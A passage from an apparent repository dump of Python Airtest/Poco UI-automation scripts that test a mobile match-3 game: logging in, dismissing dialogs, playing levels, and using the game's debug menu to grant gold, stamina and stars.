print(\"-----1----\")\n if poco('CurrentDataButton').exists():\n currentData()\n else: \n sleep(30) \n poco.click([0.48, 0.55])\n print(\"-----6----\")\n else:\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n else:\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n print(\"-----7----\")\n sleep(5)\n sleep(10)\n while True:\n if poco(\"BtnSkip\").exists(): # 出现引导\n poco(\"BtnSkip\").click()\n if poco(name=\"CloBtn\"):\n click_Name(\"CloBtn\")\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n if poco('QuitButton'):\n click_Name(\"QuitButton\")\n # 关闭弹出来的对话框\n if poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n if poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n if poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n # 如果有新手引导礼物,关闭对话框\n if poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n # 关闭每日签到奖励对话框\n if poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n # 判断是否进入主页面\n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n log('当前界面无任何弹框')\n break\n# 点击类型为name按钮并等待UI跟新\ndef click_Name(arg):\n ui = poco(name=arg)\n try:\n ui.invalidate()\n ui.wait_for_appearance(timeout=10)\n ui.click()\n text('succee click--' + str(arg))\n except PocoTargetTimeout as to:\n print('PocoTargetTimeout',to)\n sleep(1)\n except PocoNoSuchNodeException as ns:\n print('PocoNoSuchNodeException',ns)\n sleep(1)\n##########################################################具体业务\n#登入模式可能有引导,不管是否出现引导都关闭重开(过引导)\nDHM_login()\n#购买金币\n#购买需要用到Android原生POCO\nfrom poco.drivers.android.uiautomation import AndroidUiautomationPoco\nandroidPoco = AndroidUiautomationPoco(use_airtest_input=True, screenshot_each_action=False)\n\nif poco(name=\"Coin\").exists():\n poco(\"Coin\").child(\"Button\").click()\n sleep(5)\n if exists(Template(r\"tpl1572415016673.png\", record_pos=(0.006, -0.199), resolution=(2560, 1440))):\n poco.click([0.42,0.85])\n sleep(5)\n androidPoco(\"一键购买\").wait(5).click()\n sleep(15)\n poco.click([0.5,0.8])\n sleep(5)\n poco.click([0.5, 0.8])\n sleep(3)\n assert_exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080)),\"购买成功回到主页面\")\n\nstop_app(app_id)\nsleep(5)\n\n\n" }, { "alpha_fraction": 0.7329545617103577, "alphanum_fraction": 0.7400568127632141, "avg_line_length": 21.74193572998047, "blob_id": "d59f2f8ec25043e21cfa387416f89c6a6f561126", "content_id": "674b61174cf28c38344597149f7040b0a352029c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 810, "license_type": "no_license", "max_line_length": 80, "num_lines": 31, "path": "/constant.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Leo Zeng\nimport os\n\nBASEPATH = os.path.abspath('.')\nLOG_ROOT = os.path.join(BASEPATH, 'logs_root')#BASEPATH=D:\\airtest_runner-master\nCFG_SCRIPTS_ROOT = 'scripts_root'\nCFG_SCRIPTS = 'scripts'\nCFG_DEVICES = 'devices'\nCFG_MODE = 'mode'\nCFG_PLATFORM = 'platform'\n#DHM配置\nlogin_mode ='local'\n#开始战斗(texture)\nstart_play=\"btn_startlevel\"\n#开始战斗-确定按钮(name)\nstart_confirm=\"ButtonStart\"\n#弹框关闭按钮(小锤子,手套)\nclose_button=\"CloseButton\"\n#每日签到确定按钮\nclaim_button=\"ClaimButton\"\n#战斗成功\nsuccess_name1=\"Congratulations\"\nsuccess_name2=\"Spine GameObject (tap to continue)\"\n#新手引导奖励任务\nitemReward=\"PanelItemReward\"\n#剧情对话\n#3.3\nchar_text=\"BlackLineDown\"\nchar_skip=\"BtnSkip\"\napp_id = \"com.dreamhomematch.casual.free\"" }, { "alpha_fraction": 0.4721825420856476, "alphanum_fraction": 0.543055534362793, "avg_line_length": 32.168643951416016, "blob_id": "a050f8f6b86c8b9d698bb0fdd37a218f453429fc", "content_id": "14c55e5b707a80a5417d214b56d4ec5d21b8c9b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27268, "license_type": "no_license", "max_line_length": 177, "num_lines": 759, "path": "/scripts/DHM_common.air/DHM_common.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- encoding=utf8 -*-\n__author__ = \"tianyabin\"\n\n__desc__ = '''\n 1、接口说明-QM平台UI自动化用例\n '''\n\nfrom airtest.core.api import *\nfrom airtest.core.android.adb import *\n# auto_setup(__file__)\n\nfrom poco.drivers.unity3d import UnityPoco\npoco = UnityPoco()\nfrom poco.exceptions import PocoNoSuchNodeException\nfrom poco.exceptions import PocoTargetTimeout\n#\n# using(\"DHM_common.air\")\n# from DHM_common import *\napp_id = \"com.dreamhomematch.casual.free\"\n# adb = ADB()\n# devicesList = adb.devices()\n# adb_device = devicesList[0][0]\n# cmd = \"adb -s \" + str(adb_device) + \" shell wm size\"\n# proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n# read = str(proc.stdout.read()).split()[2].split(\"\\\\\")[0].split(\"x\")\n# sx = float(read[1]) #Hight\n# sy = float(read[0]) #wight\n#手机显示屏幕sx=Hight,wight\n\ndev = device()\nsy = dev.display_info['width']\nsx = dev.display_info['height']\n\n# 点击类型为Texture按钮并等待UI跟新\ndef click_TextureUi(arg):\n ui = poco(texture=arg)\n try:\n ui.invalidate()\n ui.wait_for_appearance(timeout=10)\n ui.click()\n text('succee click--' + str(arg))\n except PocoTargetTimeout as to:\n print('PocoTargetTimeout',to)\n sleep(1)\n except PocoNoSuchNodeException as ns:\n print('PocoNoSuchNodeException',ns)\n sleep(1)\n \n# 点击类型为Text按钮并等待UI跟新\ndef click_TextUi(arg):\n ui = poco(text=arg)\n try:\n ui.invalidate()\n ui.wait_for_appearance(timeout=10)\n ui.click()\n text('succee click--' + str(arg))\n except PocoTargetTimeout as to:\n print('PocoTargetTimeout',to)\n sleep(1)\n except PocoNoSuchNodeException as ns:\n print('PocoNoSuchNodeException',ns)\n sleep(1)\n\n# 点击类型为name按钮并等待UI跟新\ndef click_Name(arg):\n ui = poco(name=arg)\n try:\n ui.invalidate()\n ui.wait_for_appearance(timeout=10)\n ui.click()\n text('succee click--' + str(arg))\n except PocoTargetTimeout as to:\n print('PocoTargetTimeout',to)\n sleep(1)\n except PocoNoSuchNodeException as ns:\n print('PocoNoSuchNodeException',ns)\n sleep(1)\n\n#################常用通关#######################\n#常用控件名\n#开始战斗(texture)\nstart_play=\"btn_startlevel\"\n#开始战斗-确定按钮(name)\nstart_confirm=\"ButtonStart\"\n\n#弹框关闭按钮(小锤子,手套)\nclose_button=\"CloseButton\"\n#每日签到确定按钮\nclaim_button=\"ClaimButton\"\n#关卡界面控件\nlevel=poco(\"LevelInspector\").child(\"AnchorLeftCenter\").child(name=\"LevelText\")\n#战斗成功\nsuccess_name1=\"Congratulations\"\nsuccess_name2=\"Spine GameObject (tap to continue)\"\n#新手引导奖励任务\nitemReward=\"PanelItemReward\"\n\n#剧情对话\n#3.3\nchar_text=\"BlackLineDown\"\nchar_skip=\"BtnSkip\"\n\n#循环对话\ndef click_talk(arg):\n sleep(0.5)\n if poco(name=char_skip).exists():\n for n in range(arg):\n click_Name(char_text)\n sleep(0.5)\n else:\n text('当前不处于对话界面')\n raise Exception(\"Current page is not talk\")\n sleep(1)\n\n#跳过剧情对话\ndef click_talk_stip(arg):\n sleep(1)\n if poco(name=char_skip).exists():\n for n in range(arg):\n click_Name(char_skip)\n sleep(10)\n else:\n text('当前不处于对话界面')\n raise Exception(\"Current page is not talk\")\n sleep(1)\n\n#开始挑战\ndef click_start():\n click_TextureUi(start_play)\n sleep(2)\n click_Name(start_confirm)\n sleep(10)\n\n#判断当前界面是否位于主界面\ndef exists_main():\n #判断是否上一关卡未通关结束\n if level.exists():\n gm_pass()\n # 循环检测4次\n for per in range(4):\n if poco(name=\"BtnSkip\").exists():\n click_Name(\"BtnSkip\")\n sleep(20)\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n # 关闭弹出来的对话框\n elif poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n elif poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n elif poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n #如果有新手引导礼物,关闭对话框\n elif poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n #关闭活动奖励对话框\n elif poco(name=\"PanelMainLineActivity\"):\n click_Name(\"ToLevelButton\")\n sleep(5)\n # 关闭每日签到奖励对话框\n elif poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n else:\n text('当前界面无任何弹框')\n break\n #再次检测是否在主界面\n exists_play()\n \ndef exists_play():\n #判断是否有开始控件,如果有说明在主界面。\n #if poco(texture=start_play):\n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n\n text('当前处于主界面')\n else:\n raise Exception(\"current page is not main\")\n sleep(1)\n\n#判断当前进入关卡界面\ndef exists_level():\n #进入游戏界面判定\n sleep(1)\n for per in range(10):\n if level.exists():\n text(\"当前处于关卡挑战界面\")\n break\n else:\n raise Exception(\"current page is not remove\")\n sleep(5)\n text(\"当前未处于关卡挑战界面\")\n sleep(5)\n \n#新手指引动画\ndef guide(arg):\n sleep(2)\n for n in range(arg):\n if poco(name=\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n elif poco(texture=\"comic_base\"):\n click_TextureUi(\"comic_base\")\n elif poco(texture=\"BtnSkip\"):\n click_TextureUi(\"BtnSkip\")\n else:\n sleep(2)\n sleep(3)\ndef renwu():\n #click_Name(\"Renwu\")\n poco(\"Main(Clone)\").child(\"LeftBar\").child(\"Renwu\").click()\n sleep(1)\n if exists(Template(r\"tpl1563872365821.png\", record_pos=(-0.154, 0.226), resolution=(1920, 1080))):\n click_Name(\"ConsumeStarCount\")\n else:\n try:\n poco(\"Main(Clone)\").child(\"PanelDayOverBonus2\").wait_for_appearance(10)\n get_DayOverBonus()\n except:\n pass\n click_Name(\"ConsumeStarCount\")\ndef taskDay():\n #click_Name(\"Renwu\")\n poco(\"Main(Clone)\").child(\"LeftBar\").child(\"Renwu\").click()\n sleep(1)\n if exists(Template(r\"tpl1563872365821.png\", record_pos=(-0.154, 0.226), resolution=(1920, 1080))):\n click_Name(\"ConsumeStarCount\")\n sleep(1) \n else:\n try:\n poco(\"Main(Clone)\").child(\"PanelDayOverBonus2\").wait_for_appearance(10)\n get_DayOverBonus()\n except:\n pass\n click_Name(\"ConsumeStarCount\")\n#进入关卡\ndef common_start():\n try:\n exists_main()\n click_start()\n exists_level()\n except:\n clear_touch(0.9,0.9,1)\n sleep(3)\n clear_touch(0.5,0.9,1)\n sleep(15)\n\n#任务界面点击剧情\ndef common_talk():\n for per in range(10):\n if poco(\"Main(Clone)\").child(\"PanelConstruct\").child(\"TransConstructBlock\").exists():\n for per in range(50):\n if poco(\"Main(Clone)\").child(\"PanelNewComic\").child(\"BtnSkip\").exists():\n try:\n click_talk(1)\n except:\n pass\n else:\n break\n sleep(3)\n clear_touch(0.5,0.5,1)\n else:\n break\n \n#三选一\ndef repair_select():\n for per in range(5):\n if poco(\"Main(Clone)\").child(\"PanelRepairSelect\").exists():\n #随机选择第一个地板\n a = ['1', '2', '3']\n b = \"BtnSelectTemplate_\" + random.choice(a)\n click_Name(b)\n #确认选择\n click_Name(\"BtnConfirm\")\n skip_button=poco(\"Main(Clone)\").child(\"PanelNewComic\").child(\"BtnSkip\")\n try:\n if skip_button.wait_for_appearance(15):\n break\n except:\n if poco(\"Main(Clone)\").child(\"PanelRepairSelect\").exists():\n repair_select()\n\ndef get_DayOverBonus():\n if poco(\"Main(Clone)\").child(\"PanelDayOverBonus2\").exists():\n clear_touch(0.5,0.5,1)\n poco(\"ConsumeStarCount\").wait_for_appearance(15)\n\ndef get_errorlog():\n poco.start_gesture([0.5, 0.5]).hold(0.1).to([0.5, 0.65]).to([0.65, 0.65]).to([0.65, 0.5]).to([0.5, 0.5]).to([0.5, 0.65]).to([0.65, 0.65]).to([0.65, 0.5]).to([0.5, 0.5]).up()\n snapshot()\n clear_touch(0.02,0.03,1)\n clear_touch(0.98,0.03,1)\n snapshot()\n\ndef initialize_log():\n poco.start_gesture([0.5, 0.5]).to([0.5, 0.65]).hold(1).to([0.65, 0.65]).to([0.65, 0.5]).to([0.5, 0.5]).to([0.5, 0.65]).to([0.65, 0.65]).to([0.65, 0.5]).to([0.5, 0.5]).up()\n clear_touch(0.83,0.03,1)\n clear_touch(0.89,0.03,1)\n clear_touch(0.02,0.03,1)\n clear_touch(0.98,0.03,1)\n\n\n#################关卡期间#######################\n\n# def remove_swipe(arg,x,y):\n# if poco(\"BoardGroupRoot\").child(\"BoardRoot(Clone)\").child(\"NodeLayer\").child(arg).exists():\n# try:\n# poco(\"BoardGroupRoot\").child(\"BoardRoot(Clone)\").child(\"NodeLayer\").child(arg).swipe([x, y])\n# except PocoTargetTimeout:\n# print('poco target swipe timeout')\n# sleep(5)\n# else:\n# print('poco no such node -- ' + arg)\n# sleep(5)\n#指定棋子移动消除,需要传递被棋子的pos坐标及方向\n#qx1,qy1 初始坐标,查看pos\n#qx2,qy2 移动坐标,自动计算\n#way:up/down/left/right\ndef \\\n remove_swipe(sx,sy,qx1,qy1,way):\n #如果存在新手引导框\n if way == \"up\":\n qx2 = qx1\n qy2 = qy1 - 0.1\n elif way == \"down\":\n qx2 = qx1\n qy2 = qy1 + 0.1\n elif way == \"left\":\n qy2 = qy1\n qx2 = qx1 - 0.07\n elif way == \"right\":\n qy2 = qy1\n qx2 = qx1 + 0.07\n else:\n text('Error passing parameter:way')\n sleep(2)\n try:\n swipe((sx*qx1,sy*qy1),(sx*qx2,sy*qy2))\n except PocoTargetTimeout:\n print('timeout')\n sleep(3)\n#指定棋子点击消除,需要传递被棋子的pos坐标及点击次数\ndef clear_touch(qx1,qy1,time):\n try:\n touch((sx*qx1,sy*qy1),times=time)\n except PocoTargetTimeout:\n print('timeout')\n sleep(5)\n sleep(2)\n\n#指定棋子移动消除(多个棋盘关卡),需要传递棋盘参数n\ndef remove_lot_swipe(n,arg,x,y):\n if poco(texture=\"comic_base\"):\n if poco(\"BoardGroupRoot\").child(\"BoardRoot(Clone)\")[n].child(\"NodeLayer\").child(arg).exists():\n try:\n poco(\"BoardGroupRoot\").child(\"BoardRoot(Clone)\")[n].child(\"NodeLayer\").child(arg).swipe([x, y])\n except PocoTargetTimeout:\n print('timeout')\n sleep(5)\n else:\n text('poco no such node -- ' + str(arg))\n sleep(5)\n else:\n text(\"当前无需执行新手引导操作\")\n\n# 步数不足,购买步数。步骤充足,结算跳转,返回主界面\ndef gm_step():\n i = 30\n while i > 0:\n #判断是否需要购买金币\n if poco(name=\"ContinueButton\").exists():\n click_Name(\"ContinueButton\")\n else:\n sleep(2)\n if poco(name=\"ButtonStart\").exists():\n try:\n gm_pass()\n break\n except PocoTargetTimeout:\n raise\n #如果已经返回主界面,则结束循环\n if poco(texture=start_play):\n break\n if i == 0:\n break\n sleep(5)\n i = i - 1\n sleep(2)\n#######################GM工具############################\ndef safe_wait(v, interval, timeout):\n try:\n pos = wait(v, interval=interval, timeout=timeout)\n except Exception:\n return False\n else:\n return pos\n\n#打开GM工具\ndef gm_open():\n click_TextUi(\"Cheat\")\n\n#关闭GM工具\ndef gm_close():\n if poco(name=\"ButtonClose\"):\n touch(Template(r\"tpl1552716995134.png\", record_pos=(0.463, -0.209), resolution=(2220, 1080)))\n\n # click_Name(\"ButtonClose\")\n else:\n print('not such target-- ButtonClose')\n\n#清除玩家数据记录\ndef gm_player_clear():\n gm_open()\n click_TextUi(\"玩家信息\")\n \n\n if poco(text=\"星星\").exists():\n swipe(Template(r\"tpl1550910328600.png\", record_pos=(-0.239, 0.11), resolution=(1600.0, 900.0)), vector=[-0.0095, -0.6721])\n sleep(2)\n click_TextUi(\"清除记录(本地)\")\n # if poco(\"_content\").exists():\n # click_TextUi(\"清除记录(全部)\")\n # touch(Template(r\"tpl1552477446417.png\", record_pos=(0.115, 0.247), resolution=(1920, 1080)))\n else:\n print('not find such pic')\n\n \n#GM修改无限体力\ndef gm_time():\n gm_open()\n click_TextUi(\"玩家信息\")\n child = poco(\"AnchorRight\").child(\"ScrollView\").child(\"_content\").child(\"CheatTaskTemplate(Clone)\")[6].child(\"CheatObjects\")\n for child1 in child.children():\n pre = False\n pre1 = True\n for child2 in child1.children():\n print(pre1)\n child2_name = child2.get_name()\n child2_text = child2.get_text()\n if child2_name == \"_title\" and pre1:\n child2.click()\n text(\"3600\")\n if exists(Template(r\"tpl1547109703240.png\", record_pos=(0.42, 0.203), resolution=(1920, 1080))):\n touch(Template(r\"tpl1547109703240.png\", record_pos=(0.42, 0.203), resolution=(1920, 1080)))\n pre1 = False\n sleep(10)\n if child2_text == \"Apply&Close\":\n #child2.click()\n if exists(Template(r\"tpl1561433823564.png\", record_pos=(-0.061, 0.07), resolution=(2560, 1440))):\n touch(Template(r\"tpl1561433856106.png\", record_pos=(0.08, 0.072), resolution=(2560, 1440)))\n\n\n pre = True\n break\n \n if pre:\n break\n text(\"无限体力\")\n\n#GM修改无限金币\ndef gm_gold():\n gm_open()\n click_TextUi(\"玩家信息\")\n\n child = poco(\"AnchorRight\").child(\"ScrollView\").child(\"_content\").child(\"CheatTaskTemplate(Clone)\")[8].child(\"CheatObjects\")\n for child1 in child.children():\n pre = False\n pre1 = True\n for child2 in child1.children():\n child2_name = child2.get_name()\n child2_text = child2.get_text()\n if child2_name == \"_title\" and pre1:\n child2.click()\n text(\"90000\")\n if exists(Template(r\"tpl1547109703240.png\", record_pos=(0.42, 0.203), resolution=(1920, 1080))):\n touch(Template(r\"tpl1547109703240.png\", record_pos=(0.42, 0.203), resolution=(1920, 1080)))\n pre1 = False\n if child2_text == \"Apply&Close\":\n #child2.click()\n if exists(Template(r\"tpl1561433350151.png\", record_pos=(-0.016, 0.199), resolution=(2560, 1440))):\n touch(Template(r\"tpl1561433367164.png\", record_pos=(0.17, 0.2), resolution=(2560, 1440)))\n\n\n pre = True\n break\n \n if pre:\n break\n text(\"无限金币\")\n\ndef gm_star():\n gm_open()\n click_TextUi(\"玩家信息\")\n swipe(Template(r\"tpl1563439052110.png\", record_pos=(-0.259, 0.123), resolution=(2160, 1080)), vector=[-0.0365, -0.4778])\n child = poco(\"AnchorRight\").child(\"ScrollView\").child(\"_content\").child(\"CheatTaskTemplate(Clone)\")[9].child(\"CheatObjects\")\n for child1 in child.children():\n pre = False\n pre1 = True\n for child2 in child1.children():\n child2_name = child2.get_name()\n child2_text = child2.get_text()\n if child2_name == \"_title\" and pre1:\n child2.click()\n text(\"888\")\n if exists(Template(r\"tpl1563439170411.png\", record_pos=(0.434, 0.188), resolution=(2160, 1080))):\n touch(Template(r\"tpl1563439170411.png\", record_pos=(0.434, 0.188), resolution=(2160, 1080)))\n \n pre1 = False\n if child2_text == \"Apply&Close\":\n if exists(Template(r\"tpl1563438531449.png\", record_pos=(-0.032, 0.15), resolution=(2160, 1080))):\n touch(Template(r\"tpl1563438556117.png\", record_pos=(0.163, 0.152), resolution=(2160, 1080)))\n pre = True\n break\n if pre:\n break\n text(\"增加星星\")\n\ndef gm_speed_up():\n gm_open()\n click_TextUi(\"时间\")\n if exists(Template(r\"tpl1564046868505.png\", record_pos=(-0.077, -0.119), resolution=(1920, 1080))):\n swipe(Template(r\"tpl1564046868505.png\", record_pos=(-0.077, -0.119), resolution=(1920, 1080)), vector=[0.2496, -0.003])\n touch(Template(r\"tpl1564046925597.png\", record_pos=(0.318, -0.121), resolution=(1920, 1080)))\n\n\n#GM自动消除\ndef gm_auto():\n click_TextureUi(\"UISprite\")\n sleep(10)\n\ndef gm_close_tutorial():\n gm_open()\n sleep(1)\n swipe(Template(r\"tpl1552713419083.png\", record_pos=(-0.414, 0.123), resolution=(2220, 1080)),vector=[0.0011, -0.5579])\n sleep(1)\n click_TextUi(\"开关\")\n sleep(1)\n touch(Template(r\"tpl1552897057579.png\", record_pos=(0.116, -0.215), resolution=(2220, 1080)))\n sleep(1)\n # touch(Template(r\"tpl1552897057579.png\", record_pos=(0.116, -0.215), resolution=(2220, 1080)))\n gm_close()\n text(\"开启教程\")\n sleep(10)\n#GM自动通关\ndef gm_pass():\n gm_open()\n sleep(1)\n swipe(Template(r\"tpl1552713419083.png\", record_pos=(-0.414, 0.123), resolution=(2220, 1080)), vector=[0.0011, -0.5579])\n sleep(1)\n click_TextUi(\"Debug\")\n sleep(1)\n click_TextUi(\"Show\")\n sleep(1)\n gm_close()\n touch(Template(r\"tpl1552730957339.png\", record_pos=(-0.408, -0.069), resolution=(1920, 1080)))\n # poco(\"ButtonTaskTemplate(Clone)\").child(\"ButtonTemplate(Clone)\")[0].click()\n\n \n if poco(name=\"ButtonClose\").exists():\n click_Name(\"ButtonClose\")\n if poco(name=\"ButtonClose\").exists():\n click_Name(\"ButtonClose\")\n text(\"#########使用GM通关,当前关卡存在异常,需要检查###########\")\n sleep(10)\n\n\n#登录本地进入首页方法 (facebook 登录一次后 其他脚本调用此方法也可以用于facebook登录)\ndef DHM_login_local():\n if poco(\"PanelUserAcceptTips\").child(\"RootNode\").child(\"TransContent\").child(\"ButtonOk\"):\n poco(\"PanelUserAcceptTips\").child(\"RootNode\").child(\"TransContent\").child(\"ButtonOk\").click()\n sleep(20)\n click_Name('FacebookLogin')\n sleep(5)\n if poco(\"BtnSkip\"):#出现引导\n sleep(2)\n for n in range(10): \n #判断是否进入主页面 提前关闭循环 \n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n break\n ui = poco(name=\"BtnSkip\") \n try: \n ui.invalidate()\n ui.wait_for_appearance(timeout=20)\n ui.click()\n text('succee click--')\n except PocoTargetTimeout as to:\n print('PocoTargetTimeout',to)\n sleep(1)\n except PocoNoSuchNodeException as ns:\n print('PocoNoSuchNodeException',ns)\n sleep(1) \n if exists(Template(r\"tpl1570707145770.png\", record_pos=(0.006, 0.041), resolution=(2160, 1080))):\n touch(Template(r\"tpl1570707145770.png\", record_pos=(-0.003, 0.037), resolution=(2160, 1080)))\n #选好名字\n sleep(10)\n if poco(\"BtnSkip\").exists():\n poco(\"BtnSkip\").click() \n sleep(10)\n stop_app(app_id) \n sleep(3)\n break\n sleep(10)\n sleep(3)\n else: \n #跳过引导\n #日常登录进入首页(进入首页之前的所有窗口处理)\n while 1:\n if poco(name=\"CloBtn\"): \n click_Name(\"CloBtn\")\n# if poco(\"PanelStore\").offspring(\"new_Pack_2\").child(\"BuyButton\").exists():\n# poco(\"PanelStore\").offspring(\"new_Pack_2\").child(\"BuyButton\").click()\n# if exists(Template(r\"tpl1570617613443.png\", record_pos=(0.323, -0.235), resolution=(1920, 1080))):\n# click(Template(r\"tpl1570617613443.png\", record_pos=(0.323, -0.235), resolution=(1920, 1080)))\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n # 关闭弹出来的对话框\n if poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n if poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n if poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n #如果有新手引导礼物,关闭对话框\n if poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n #关闭活动奖励对话框\n if poco(name=\"PanelMainLineActivity\"):\n click_Name(\"ToLevelButton\")\n sleep(5)\n # 关闭每日签到奖励对话框\n if poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n \n \n #判断是否进入主页面 \n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n text('当前界面无任何弹框')\n break \n pass\n\n\n#登录facebook首页方法\ndef DHM_login_facebook():\n if poco(\"PanelUserAcceptTips\").child(\"RootNode\").child(\"TransContent\").child(\"ButtonOk\"):\n poco(\"PanelUserAcceptTips\").child(\"RootNode\").child(\"TransContent\").child(\"ButtonOk\").click()\n sleep(20)\n click_Name('FacebookLogin')\n sleep(10) \n poco.click([0.5,0.55])\n sleep(5)\n if poco(\"BtnSkip\"):#出现引导\n sleep(2)\n for n in range(10): \n #判断是否进入主页面 提前关闭循环 \n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n break\n ui = poco(name=\"BtnSkip\") \n try: \n ui.invalidate()\n ui.wait_for_appearance(timeout=20)\n ui.click()\n text('succee click--')\n except PocoTargetTimeout as to:\n print('PocoTargetTimeout',to)\n sleep(1)\n except PocoNoSuchNodeException as ns:\n print('PocoNoSuchNodeException',ns)\n sleep(1) \n if exists(Template(r\"tpl1570707145770.png\", record_pos=(0.006, 0.041), resolution=(2160, 1080))):\n touch(Template(r\"tpl1570707145770.png\", record_pos=(-0.003, 0.037), resolution=(2160, 1080)))\n #选好名字\n sleep(10)\n if poco(\"BtnSkip\").exists():\n poco(\"BtnSkip\").click() \n sleep(10)\n stop_app(app_id) \n sleep(3)\n break\n sleep(10)\n sleep(3)\n else: \n #跳过引导\n #日常登录进入首页(进入首页之前的所有窗口处理)\n while 1:\n if poco(name=\"CloBtn\"): \n click_Name(\"CloBtn\")\n# if poco(\"PanelStore\").offspring(\"new_Pack_2\").child(\"BuyButton\").exists():\n# poco(\"PanelStore\").offspring(\"new_Pack_2\").child(\"BuyButton\").click()\n# if exists(Template(r\"tpl1570617613443.png\", record_pos=(0.323, -0.235), resolution=(1920, 1080))):\n# click(Template(r\"tpl1570617613443.png\", record_pos=(0.323, -0.235), resolution=(1920, 1080)))\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n # 关闭弹出来的对话框\n if poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n if poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n if poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n #如果有新手引导礼物,关闭对话框\n if poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n #关闭活动奖励对话框\n if poco(name=\"PanelMainLineActivity\"):\n click_Name(\"ToLevelButton\")\n sleep(5)\n # 关闭每日签到奖励对话框\n if poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n \n \n #判断是否进入主页面 \n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n text('当前界面无任何弹框')\n break \n pass\ndef playGame():\n for x in range(3):#循环次\n print(\"--------------------------------------------\")\n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):#退出游戏了进入首页\n break\n #随机方向滑动4次 \n remove_swipe(sx,sy,random.uniform(0.3,0.8),random.uniform(0.3,0.8),random.choice(['up', 'down', 'left','right']))\n #滑累了来锤子\n remove_swipe(sx,sy,random.uniform(0.3,0.8),random.uniform(0.3,0.8),random.choice(['up', 'down', 'left','right'])) \n remove_swipe(sx,sy,random.uniform(0.3,0.8),random.uniform(0.3,0.8),random.choice(['up', 'down', 'left','right'])) \n remove_swipe(sx,sy,random.uniform(0.3,0.8),random.uniform(0.3,0.8),random.choice(['up', 'down', 'left','right'])) \n for n in range(50):#配合錘子次數 \n if exists(Template(r\"tpl1570781963752.png\", record_pos=(0.436, -0.007), resolution=(1920, 1080))):\n touch(Template(r\"tpl1570781963752.png\", record_pos=(0.436, -0.007), resolution=(1920, 1080)))\n sleep(1)\n poco.click([random.uniform(0.2,0.7),random.uniform(0.1,0.9)]) \n if exists(Template(r\"tpl1570784810783.png\", record_pos=(0.009, 0.227), resolution=(1920, 1080))):\n touch(Template(r\"tpl1570784810783.png\", record_pos=(0.009, 0.227), resolution=(1920, 1080)))\n sleep(10)\n break\n #进入首页\n #跳出循环没锤子不玩了\n if poco(\"ButtonSetting\").exists():\n poco(\"ButtonSetting\").exists()\n sleep(1)\n poco(\"ButtonQuit\").click()\n sleep(5)\n break\n \n \n \n" }, { "alpha_fraction": 0.4542562663555145, "alphanum_fraction": 0.544725775718689, "avg_line_length": 31.45041275024414, "blob_id": "ea15f9641e48061a294fdbcf57ef109c2fa273a0", "content_id": "a8fa56e4c6e68b3b3b01cf149138e89181150a47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8635, "license_type": "no_license", "max_line_length": 122, "num_lines": 242, "path": "/scripts/DHM_FB_play_game.air/DHM_FB_play_game.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- encoding=utf8 -*-\n__author__ = \"chihai\"\n__desc__ = '''\n 1、挑战关卡1\n 2、新手引导消除\n 3、自动通关\n 4、回到主界面\n '''\nfrom airtest.core.api import *\napp_id = \"com.dreamhomematch.casual.free\"\nimport random\nfrom constant import *\nauto_setup(__file__)\nstop_app(app_id)\nsleep(3)\nstart_app(app_id)\nsleep(15)\ndev = device()\nsy = dev.display_info['width']\nsx = dev.display_info['height']\nlogin_mode ='facebook'\nfrom poco.drivers.unity3d import 